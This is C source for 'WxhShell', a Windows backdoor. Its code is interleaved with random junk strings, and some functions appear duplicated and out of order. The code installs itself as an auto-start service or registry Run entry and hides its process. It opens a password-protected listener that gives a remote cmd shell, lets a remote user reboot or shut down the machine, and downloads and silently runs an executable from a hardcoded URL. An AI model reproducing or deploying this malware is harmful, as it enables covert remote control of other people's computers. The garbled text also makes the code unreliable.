{A]('t ULONG InheritedFromUniqueProcessId; BkIvoW_ } PROCESS_BASIC_INFORMATION; "Uyw7 p<jHUG4?' PROCNTQSIP NtQueryInformationProcess; :}E*u^v K QJ$]~)w?H static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2)U3/TNe static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jL2f74?1 A?_2@6Y^ HANDLE hProcess; ~>C!l k PROCESS_BASIC_INFORMATION pbi; EmLPq!C yqoi2J: HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~ 9'64 if(NULL == hInst ) return 0; ,x_g|J _Y w|>Y&/IX g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /a]+xL g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3 \kT#nr NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `pLp+#1
`R d{YhKf#~ if (!NtQueryInformationProcess) return 0; IQH;`+ fA|'}(kH hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^P]: etld9 if(!hProcess) return 0; D-[0^
Tvk= NJ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X-t4irZ) #BM *40tch CloseHandle(hProcess); bf}r8$, .%*.nq hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C@KYg/nYw if(hProcess==NULL) return 0; 4E"qpy \( t);5Cw_ HMODULE hMod; Cu!4ha.e` char procName[255]; o]jo R3 unsigned long cbNeeded; ~L?p/3m :pNZQX if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >+8mq]8^ Q>X ;7nt0 CloseHandle(hProcess); Phx/9Kk a8dR. if(strstr(procName,"services")) return 1; // 以服务启动 TN l$P~X> GifD>c |z return 0; // 注册表启动 ]bRu8kn } LxMOs Nv gs9f2t // 主模块 GF
k?Qf{u int StartWxhshell(LPSTR lpCmdLine) gAR];(* { mTcLocx SOCKET wsl; y*zZ }> BOOL val=TRUE; \f._I+gJ int port=0; Wmp\J3 struct sockaddr_in door; 1AhL-Lj J@1 (2%)|Z if(wscfg.ws_autoins) Install(); 4,)=r3;&! y 5=J6a2. port=atoi(lpCmdLine); !rrjA$P<v M`"2; if(port<=0) port=wscfg.ws_port; W>+<r9Rt4 c5U1N&k5& WSADATA data; 9N9|h y if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hf%W grO. ib&
|271gG if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Q>||HtF$A setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )L_jR%2j door.sin_family = AF_INET; Rov0 door.sin_addr.s_addr = inet_addr("127.0.0.1"); +!w?g/dV door.sin_port = htons(port); O 89BN6p \)r#?qn4z; if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Gew0Y#/ closesocket(wsl); Xf#uK\f return 1; H#6J7\xcS } !n
!~Bw />]/At if(listen(wsl,2) == INVALID_SOCKET) { }~\J7R' closesocket(wsl); S$V'_ return 1; a3p|>M6E } `.><$F Wxhshell(wsl); Z#\
\NfR WSACleanup(); #
VR}6Jv `GH6$\: return 0; n cihc$V< >o(*jZ } CuDU~)` SR8[
7MU // 以NT服务方式启动 F[9IHT6{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SU x\qz) { *6k
(xL DWORD status = 0; c?wFEADn DWORD specificError = 0xfffffff; Kz 'W
| ujDAs%6MZ serviceStatus.dwServiceType = SERVICE_WIN32; S,J'Z:spf serviceStatus.dwCurrentState = SERVICE_START_PENDING; M~3(4, serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MLL2V`vBT serviceStatus.dwWin32ExitCode = 0; hWuq serviceStatus.dwServiceSpecificExitCode = 0; k%c ?$n" serviceStatus.dwCheckPoint = 0; z#O{rwnl serviceStatus.dwWaitHint = 0; ;9 b?[G 3):7mE( hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I8?egDkk if (hServiceStatusHandle==0) return; 6:QJ@j\ GY0<\- status = GetLastError(); r?H {Y3, if (status!=NO_ERROR) 4?8GK { A7ck-9dT/L serviceStatus.dwCurrentState = SERVICE_STOPPED; 60QElJ9D serviceStatus.dwCheckPoint = 0; % #|S serviceStatus.dwWaitHint = 0; idz6m]{~yT serviceStatus.dwWin32ExitCode = status; y:pypuwt; serviceStatus.dwServiceSpecificExitCode = specificError; 'O2{0 SetServiceStatus(hServiceStatusHandle, &serviceStatus); ];oED?I return; w/Ia`Tx$ } drF"kTD"7 \$9S_z serviceStatus.dwCurrentState = SERVICE_RUNNING; V8&%f xn+ serviceStatus.dwCheckPoint = 0; wwE9|'Ok serviceStatus.dwWaitHint = 0; /&vUi7' if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C$rZn%dp( } o$2fML v82@']IN // 处理NT服务事件,比如:启动、停止 OhIUm4=|$ VOID WINAPI NTServiceHandler(DWORD fdwControl) }p."7( { {dCk iF switch(fdwControl) ~d>O.*Q) { w[loV case SERVICE_CONTROL_STOP: JQI`9$asuC serviceStatus.dwWin32ExitCode = 0; %M~Ugv_4v serviceStatus.dwCurrentState = SERVICE_STOPPED; I]TL#ywF serviceStatus.dwCheckPoint = 0; vUJb- serviceStatus.dwWaitHint = 0; {:fyz#>>^ { -cJ(iz9! SetServiceStatus(hServiceStatusHandle, &serviceStatus); iSHNt0Nl } sE]eIN return; `5h$@ case SERVICE_CONTROL_PAUSE: `s@1'IG;R_ serviceStatus.dwCurrentState = SERVICE_PAUSED; qAkx52v6 break; _es>G'S case SERVICE_CONTROL_CONTINUE: |A &Nv~.) serviceStatus.dwCurrentState = SERVICE_RUNNING; &Gxk~p< break; `[Kh[| case SERVICE_CONTROL_INTERROGATE: &zUo", }9 break; (9'MdH }; Zni8im,_j SetServiceStatus(hServiceStatusHandle, &serviceStatus); W._vikR } (S1$g ~t; m_U__CZ}Tt // 标准应用程序主函数 g'hBs
D1' int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Hk$|.TjzI { D[yaAG< W9.ZhpM // 获取操作系统版本 Bqa%L.N2SS OsIsNt=GetOsVer(); :|P"`j GetModuleFileName(NULL,ExeFile,MAX_PATH); 3^wJ4=^ 6lsU/`. // 从命令行安装 SlsMMD if(strpbrk(lpCmdLine,"iI")) Install(); k&@JF@_TI l&5| =
// 下载执行文件 q0SvZw]f1 if(wscfg.ws_downexe) { 7|IW\ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C$M^<z WinExec(wscfg.ws_filenam,SW_HIDE); ;I]TM#qGF } mqwN<: pLrNYo*d if(!OsIsNt) { S\GG(#b! // 如果时win9x,隐藏进程并且设置为注册表启动 h4!$,%"'' HideProc(); ;%Jp@'46 StartWxhshell(lpCmdLine); QMHeU> } m,qU}) else C6Dq7~{B if(StartFromService()) c[J#Hc8; // 以服务方式启动 B8;_h#^q StartServiceCtrlDispatcher(DispatchTable); 1rTA0+h else />)>~_-3 // 普通方式启动 LBw,tP StartWxhshell(lpCmdLine); v]Pw]m5=U }evc]?1( return 0; In:h %4> } $kkdB,y F1gDeLmJ kax9RHvku Oj~k 1+* =========================================== X[grVe T\. 8og E=HS'XKu[K 4hZ-^AL"( :IbrV@gN{@ Xgr|~(^ " R#
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#include <stdio.h> z[] AH#h #include <string.h> es&+5 #include <windows.h> oa1&9 #include <winsock2.h> l&U3jeW-o #include <winsvc.h> e Hd{'J< #include <urlmon.h> [uZU p*.V />.& #pragma comment (lib, "Ws2_32.lib") e7pN9tXGf #pragma comment (lib, "urlmon.lib") B_c(3n-" g 9>p?XY #define MAX_USER 100 // 最大客户端连接数 &> }MoB #define BUF_SOCK 200 // sock buffer W $H8[G #define KEY_BUFF 255 // 输入 buffer ]N2'L!4|; `[57U,v #define REBOOT 0 // 重启 ;,@3bu>r #define SHUTDOWN 1 // 关机 Ba!`x<wa 2ggW4`"c #define DEF_PORT 5000 // 监听端口 /.7x[Yc plb'EP>e #define REG_LEN 16 // 注册表键长度 G@ed2T #define SVC_LEN 80 // NT服务名长度 ;bkS0Vmg E(8O3*= // 从dll定义API =]U[ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V4/eGh_T typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,Sghi&Ky typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F''4 j8 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z8vFQO\I" Xqf"Wx(X // wxhshell配置信息 nPvR struct WSCFG { 1[u{3lQ int ws_port; // 监听端口 $5%tGFh char ws_passstr[REG_LEN]; // 口令 !OC?3W:^_ int ws_autoins; // 安装标记, 1=yes 0=no |)
THuE( char ws_regname[REG_LEN]; // 注册表键名 G'}%m;-mt char ws_svcname[REG_LEN]; // 服务名 .E[k}{k, char ws_svcdisp[SVC_LEN]; // 服务显示名 '00DUUa char ws_svcdesc[SVC_LEN]; // 服务描述信息 Lu1>A {et char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kZPj{^c: int ws_downexe; // 下载执行标记, 1=yes 0=no cg0L(oI~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" in(n[K char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P8z++h c\]h YKA }; 89+m?H]K 9FH=Jp // default Wxhshell configuration 93[`1_q7\ struct WSCFG wscfg={DEF_PORT, LOR$d^l "xuhuanlingzhe", ^Q2K0'm5 1, ?HZ+fS,- "Wxhshell", :%!=Ej.J "Wxhshell", )k0bP1oGS "WxhShell Service", /HI#8 "Wrsky Windows CmdShell Service", SYa!IL-B "Please Input Your Password: ", 2R:['QT 1, _EjS(.e/= "http://www.wrsky.com/wxhshell.exe", /`:5#O "Wxhshell.exe" O:p~L`o>> }; AkT_ZU> m'z <d // 消息定义模块 +% '0; char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g&riio7lx char *msg_ws_prompt="\n\r? for help\n\r#>"; }SUe 4r&4} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wyvs#T char *msg_ws_ext="\n\rExit."; 6i=m1Yk char *msg_ws_end="\n\rQuit."; ?%*Zgk!l7 char *msg_ws_boot="\n\rReboot..."; +!.=M8[ char *msg_ws_poff="\n\rShutdown..."; "4n_MV>p char *msg_ws_down="\n\rSave to "; kw}J~f2 dwB-WF%k char *msg_ws_err="\n\rErr!"; ,B!u* char *msg_ws_ok="\n\rOK!"; GMB%A CQ#p2 char ExeFile[MAX_PATH]; 7}TjOWC int nUser = 0; wR>\5z)^ HANDLE handles[MAX_USER]; b`18y cVME int OsIsNt; HO&#Lv xxiEL2"`> SERVICE_STATUS serviceStatus; 8~}Ti*Urc SERVICE_STATUS_HANDLE hServiceStatusHandle; \T<?=A jc)D*Cf // 函数声明 pA1Tod int Install(void); mw?,oiT,) int Uninstall(void); _g$6vx& int DownloadFile(char *sURL, SOCKET wsh); {9_CH<$W%U int Boot(int flag); 4`!(M]u= void HideProc(void); Jw"'ZW#W int GetOsVer(void); "sL#)<% int Wxhshell(SOCKET wsl); gd/W8*NFR void TalkWithClient(void *cs); l,,5OZw int CmdShell(SOCKET sock); eX;"kO int StartFromService(void); t6s#19g int StartWxhshell(LPSTR lpCmdLine); Y7!,s-v4W a;([L8^7$l VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @Je{;1 VOID WINAPI NTServiceHandler( DWORD fdwControl ); 611:eLyy&l bWjW_$8 // 数据结构和表定义 ,#D&* SERVICE_TABLE_ENTRY DispatchTable[] = d}ue/hdw { @ ;rU# {wscfg.ws_svcname, NTServiceMain}, /v=MGX@r {NULL, NULL} A!goR-J] }; `')3} 5I t+ S+a // 自我安装 O8 k$Uc int Install(void) 1_XdL?h#o { $I>.w4G} char svExeFile[MAX_PATH]; LGRX@nF# HKEY key; RUSBJsMB strcpy(svExeFile,ExeFile); ^EM##Ss_ k((_~<$2K // 如果是win9x系统,修改注册表设为自启动 v:s~Y if(!OsIsNt) { [ V/*{Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o D:?fs] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \BUr2] RegCloseKey(key); L[Tr"BW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?w /tq! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SP5/K3t-* RegCloseKey(key); U1J?o#( return 0; ks:Z=%o } m_ '
1yX@ } AdR}{:ia } o}Dy\UfU else { RzFv``g ~qco -b // 如果是NT以上系统,安装为系统服务 Ol D]*=.cO SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J?u@' "u if (schSCManager!=0) `?91Cw=` { { p1#H` SC_HANDLE schService = CreateService ^e^M
A.kM, ( 8]'qJ;E2 schSCManager, l*b3Mg
wscfg.ws_svcname, w+*Jl}&\ wscfg.ws_svcdisp, r5tv9#4] SERVICE_ALL_ACCESS, fh}\#WE" SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WPpl9)Qc SERVICE_AUTO_START, }\P9$D+ SERVICE_ERROR_NORMAL, !NjC+ps] svExeFile, (A/V(.! NULL, ;la(Q~# NULL, G W|~sE + NULL, NFU 5+X-c NULL, LIirOf~e;! NULL qmv%N ); Da)9s %_4 if (schService!=0) &37QUdp+p { }_:^&cT CloseServiceHandle(schService); IGOqV>; CloseServiceHandle(schSCManager); N3 07lGb strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :74)nbS strcat(svExeFile,wscfg.ws_svcname); .K XpB7: if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jrZM RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yG2j!D RegCloseKey(key); 5e6]v2 k return 0; IF$f^$ } $IUT5Gia` } yzgDdAM CloseServiceHandle(schSCManager); /i"L@t)\t } YeptYW@xfw } _;L9&>!p6 ^MKvZ DOP return 1; 9ZeTS~i } ~X*)gS-= '8}*erAg // 自我卸载 ja#E}`wC4 int Uninstall(void) W;eHDQ| { 3?.3Z!H/ HKEY key; '
DCrSa> Qpe&_.&RE if(!OsIsNt) { u-f_,],p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { al(t-3`< RegDeleteValue(key,wscfg.ws_regname); E[)`+:G] RegCloseKey(key); Z Z\,iT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tTX2>8Gmr RegDeleteValue(key,wscfg.ws_regname); :,]V 03 RegCloseKey(key); g3Xq@RAJ c return 0; BD\xUjd?)Q } R'u M7,7 } `Q' 0l}, } 0ua.aL' else { zdlysr# k8Qm +r<p SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {I&>`?7. if (schSCManager!=0) @M?;~M?B]J { 27<~m=`}d SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Ma2sQW\ if (schService!=0) p.SEW5 { &S>m+m' if(DeleteService(schService)!=0) { nX7{09 CloseServiceHandle(schService); H3H3UIIT_ CloseServiceHandle(schSCManager); ?;ZTJ return 0; z
v*hA/ } J/:9;{R CloseServiceHandle(schService); Pa'g=- } Rs$k3 CloseServiceHandle(schSCManager); *&Np;^~ } U^-:qT;CX } BlF>TI%2 N2 wBH+3w return 1; C{`+h163\ } }q^M `b=?z%LuT // 从指定url下载文件 W>.KV7 int DownloadFile(char *sURL, SOCKET wsh) F3HpDfy { /59jkcA+ HRESULT hr; Gg]>S#^3 char seps[]= "/"; $Y5R^Y char *token; Fo|6 PoSo char *file; jeFX?]Q char myURL[MAX_PATH]; 6}qp;mR
E] char myFILE[MAX_PATH]; O-[ lL"T K?+iu|$& strcpy(myURL,sURL); *yN+Xm8o token=strtok(myURL,seps); jjN]*{s while(token!=NULL) _DnZ=&=MA { xc7Wk&{= file=token; wR@&C\}9 token=strtok(NULL,seps); $!h21 } <7NY.zvwk] ae`*0wbv GetCurrentDirectory(MAX_PATH,myFILE); :P1 J> dcG strcat(myFILE, "\\"); _z4c7_H3 strcat(myFILE, file); ^oDC F send(wsh,myFILE,strlen(myFILE),0);
yr9%,wwN send(wsh,"...",3,0); W3Oj6R hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u,mC`gz if(hr==S_OK) >`R}ulz) return 0; ebxpKtEC else (RW02%`jjy return 1; iG( )"^G ~>2@55wElp } !C]0l T PEg>[ // 系统电源模块 i0;
p?4`m int Boot(int flag) *p0n{F9 { K;^$n>Y HANDLE hToken; "#anL8 TOKEN_PRIVILEGES tkp; D/[(}o( Nj4= if(OsIsNt) { -'ePx f OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9|R]Lz3PA LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9.:r;H G tkp.PrivilegeCount = 1; 4iMo&E< tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \Ld/'Z;w AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CT(VV6I\ if(flag==REBOOT) { SEu1M}+E if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b9b384Q1O return 0; gmtp/?>e } Jn!-Wa, else { E_ #MQ;n if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yE1M+x./ return 0; AJ1(q:P } 0~
!).f } d~n|F|`: else { WsO'4~X9 if(flag==REBOOT) { E:'TZ4Z if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /qM:;:N%j return 0; N.R,[K } ?"-%>y@w else { ElLDSo@WvR if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -]HPDN,OB return 0; j:ze5F A+ } s~(!m. R } Hs,pY(l^ 6%?bl{pNn return 1; Z&BJ/qk
\- } ]U?)_P@} ,tqMMBwC~_ // win9x进程隐藏模块 GxjmHo void HideProc(void) BSU%.tmI { 8ExEhBX8 )%H@.;cD_r HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k<xPg5 if ( hKernel != NULL ) [HNWM/ff7+ { =qG%h5]n pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =M39I&N ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l`"i'P FreeLibrary(hKernel); otaB$Bb } a^wGc+ www#.D%'U return; 5A^$!q P } 3jH-!M5 3,;;C( // 获取操作系统版本 CRXIVver int GetOsVer(void) BOqu$f+ { b7;`A~{9v OSVERSIONINFO winfo; hdW}._ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,n)f=q*% GetVersionEx(&winfo); 6jS:_[p if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #Xdj:T<* return 1; MC=pN(l else Jw "fqr return 0; Q[sj/ } i
b$2qy |KH9 81 // 客户端句柄模块 }C6RgE.6< int Wxhshell(SOCKET wsl) ]nmVT~lBe" { %2)B.qTp& SOCKET wsh; Yu1[`QbB struct sockaddr_in client; G!Gbg3:4e5 DWORD myID; P[Q3z$I} O>FE-0rW}e while(nUser<MAX_USER) S:b-+w|* { ]dvNUD int nSize=sizeof(client); m[l[yUw# wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8nKZ if(wsh==INVALID_SOCKET) return 1; z _A]mJ oXW51ty handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J9buf}C[ if(handles[nUser]==0) xb6y=L closesocket(wsh); xhq-$"B else c_p7vvI&c0 nUser++; 60R Yw9d%0 } Ep
} {m<8c WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qpjG_G5/ ONr}{T%@/ return 0; Xo,}S\wcn } #H8% BZyV '+8`3[' // 关闭 socket >v\t>
[9t void CloseIt(SOCKET wsh) g$CWGB*%lm { R H^!7W* closesocket(wsh); u(kacQ7 nUser--; ',>Pz+XKc ExitThread(0); jPu m2U_ } J]m[0g7O_ @cc4]>4 // 客户端请求句柄 CRpMpPi@} void TalkWithClient(void *cs) +c+i~5B4 { j2dptM3t{ Wjf,AjL\ SOCKET wsh=(SOCKET)cs; d<,'9/a> char pwd[SVC_LEN]; = ^NTHc^* char cmd[KEY_BUFF]; 16pk4f8 char chr[1];
)c;zNs int i,j; P84uEDY *{K?JB#W while (nUser < MAX_USER) { A3su!I2S *PSUB{i( if(wscfg.ws_passstr) { ~d.Z.AD if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qL;T^lj P //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?q lpi( //ZeroMemory(pwd,KEY_BUFF); q
eW{Cl~ i=0; [>MPM$9F-m while(i<SVC_LEN) { agI"Kh]j? j
o +- // 设置超时 655OL)|cD6 fd_set FdRead; IH2V.>h struct timeval TimeOut; 3=@lJ?Ym FD_ZERO(&FdRead); A
,$CYLj+ FD_SET(wsh,&FdRead); 16cc9%
TimeOut.tv_sec=8; Qo%IZw$l TimeOut.tv_usec=0; /[<1D|f% int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F4R0A6HL if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "kdmqvTHK0 O5v)}4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ' 5F3,/r pwd=chr[0]; KFuPgp if(chr[0]==0xd || chr[0]==0xa) { ^F="'/Pq[ pwd=0;
dm:2:A8^ break; dX^d\
wX } awC:{5R8v i++; 3<"!h1x5 } 1+Z@4;fk cOa){&u // 如果是非法用户,关闭 socket x 8_nLZ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *ydh.R<hb } C)z?-f J^y}3ON send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -u nK; send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U)sw
Iis E %@,!
( while(1) { ~'.SmXZs WBd$#V3 ZeroMemory(cmd,KEY_BUFF); uH.1'bR?a ?LAiSg=eq // 自动支持客户端 telnet标准 Uv|?@zy# j=0; <0h,{28 while(j<KEY_BUFF) { {^jRV@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FpYeuH% cmd[j]=chr[0]; JjC&
io if(chr[0]==0xa || chr[0]==0xd) { iTu~Y<'m cmd[j]=0; c|2+J:}p break; ^VOA69n>$ } -TT{4\%s j++; 1Z_2s2`p } &W*do q L-Ni // 下载文件 tmgZNg
if(strstr(cmd,"http://")) { &`LR{7m send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;JHR~ TV if(DownloadFile(cmd,wsh)) zu!# send(wsh,msg_ws_err,strlen(msg_ws_err),0); l2h1CtAU else t}X+P`Ovq send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V/@7XAt } 9\S,$A{{* else { "">{8 >V$
S\" switch(cmd[0]) { o ?`LZd:{ jFH wu* // 帮助 x
T{s%wE case '?': { z 0-[ RGg send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !;U;5 e=0 break; 87ptab@ } t^|GcU] // 安装 T$&vk#qr case 'i': { sz@Y$<o if(Install()) c*DBa]u2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); u$Ty|NBjn else
oHR@*2b send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #DkdFy
%` break;
s*9lYk0 } T/nG\WZbZn // 卸载 ^o-)y"GJ case 'r': { ~LU$ n o^ if(Uninstall()) +d'1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); nqC@dHP else j9g0k<eg send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K4vOy_wT break; 8 \Uy } gaC[%M // 显示 wxhshell 所在路径 .qfU^AHA case 'p': { Zk<Y+! char svExeFile[MAX_PATH]; E/{v6S{)Y strcpy(svExeFile,"\n\r"); 4OTrMT$y strcat(svExeFile,ExeFile); D0*+7n3 send(wsh,svExeFile,strlen(svExeFile),0); &, %+rvo} break; +8Q5[lh2]j } "Gc\"'^r // 重启 DPBWw[ case 'b': { a2. @Zyz send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m_C#fR /I if(Boot(REBOOT)) \L:+k ` send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rl[SqmnI)@ else { kR]AW60OE closesocket(wsh); 2=`}:&0l ExitThread(0); t+IrQf,P[ } W@p 27Tiq break; Dwbt^{N^ } /kc@ELl
// 关机 FC
q&- case 'd': { 9FcH\2J send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y*vg9`$k if(Boot(SHUTDOWN)) Y5R|)x send(wsh,msg_ws_err,strlen(msg_ws_err),0); rvRIKc|}l else { wfq}NK; closesocket(wsh); /=gU ExitThread(0); ,c6c=di } ;9)A+bD] break; j%ux,0Y } H|I.h{: // 获取shell n<3{QqF case 's': { +Cs.v.GA5 CmdShell(wsh); >goG\y closesocket(wsh); 9ohO-t$XkY ExitThread(0); ot;
]?M break; SS7C|*-Zd } $m[*)0/ // 退出 5-.{RU= case 'x': { VmP5`):?b send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /ULO#CN?; CloseIt(wsh); $LHF=tYS break; 7i0;Ss* } Gi Max // 离开 ~M9&SDT/lB case 'q': { ;
-,VJCPi send(wsh,msg_ws_end,strlen(msg_ws_end),0); }c,:uN closesocket(wsh); ;wF)!d WSACleanup(); ~=/.ZUQNX exit(1); !I+F8p break; Np>0c-S } k!ac_}&NNv } sUN9E4 } @jT=SFf m=qyPY // 提示信息 d'!abnF[d if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <I.{meDg } 6(-c$d`C.0 } ,'a[1RN a{+;&j[! return; NUM+tg>KM } ;s!GpO7 + ^^kL.C Ym // shell模块句柄 Dy^A??A[E} int CmdShell(SOCKET sock) U{ZKxE { }ZkGH}K_} STARTUPINFO si; 7f\/cS^ ZeroMemory(&si,sizeof(si)); o>MB8[r si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '$y.`/$ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QR(j7>+J^ PROCESS_INFORMATION ProcessInfo; <~P([5 char cmdline[]="cmd";
dEK bB CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gjc[\"0a5h return 0; =fcRH:B: } 1pZ[rM'} qd@Fb* // 自身启动模式 Bt(U,nFB int StartFromService(void) (/gMtIw { )g[7XB/w typedef struct yPT\9"/ { .(X!*J]G DWORD ExitStatus; U~_G *0 DWORD PebBaseAddress; Gn>~CoFN DWORD AffinityMask; 3im2
`n DWORD BasePriority; )mE67{YJh~ ULONG UniqueProcessId; mL]5Tnc ULONG InheritedFromUniqueProcessId; eGi|S'L' } PROCESS_BASIC_INFORMATION; jGFDj"Y jOU1F1 PROCNTQSIP NtQueryInformationProcess; 3 ,
nr*R! ]X<L~s_* static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h45RwQ5Z static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =`MMB|{6 ?Y'r=Q{w HANDLE hProcess; Na{&aqdz PROCESS_BASIC_INFORMATION pbi; K?H(jP2mpM l4Q v$ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V2BsvR` if(NULL == hInst ) return 0; 2X|nPhNi RxXiSc`^z g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }`D-]/T8. g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gtJCvVj>g NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^s6C']q *O % QI6`@Y" if (!NtQueryInformationProcess) return 0; FXo{|z3 *>J45U(6: hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "<1-9CMl if(!hProcess) return 0; Vo(V<2lw} _NB8>v
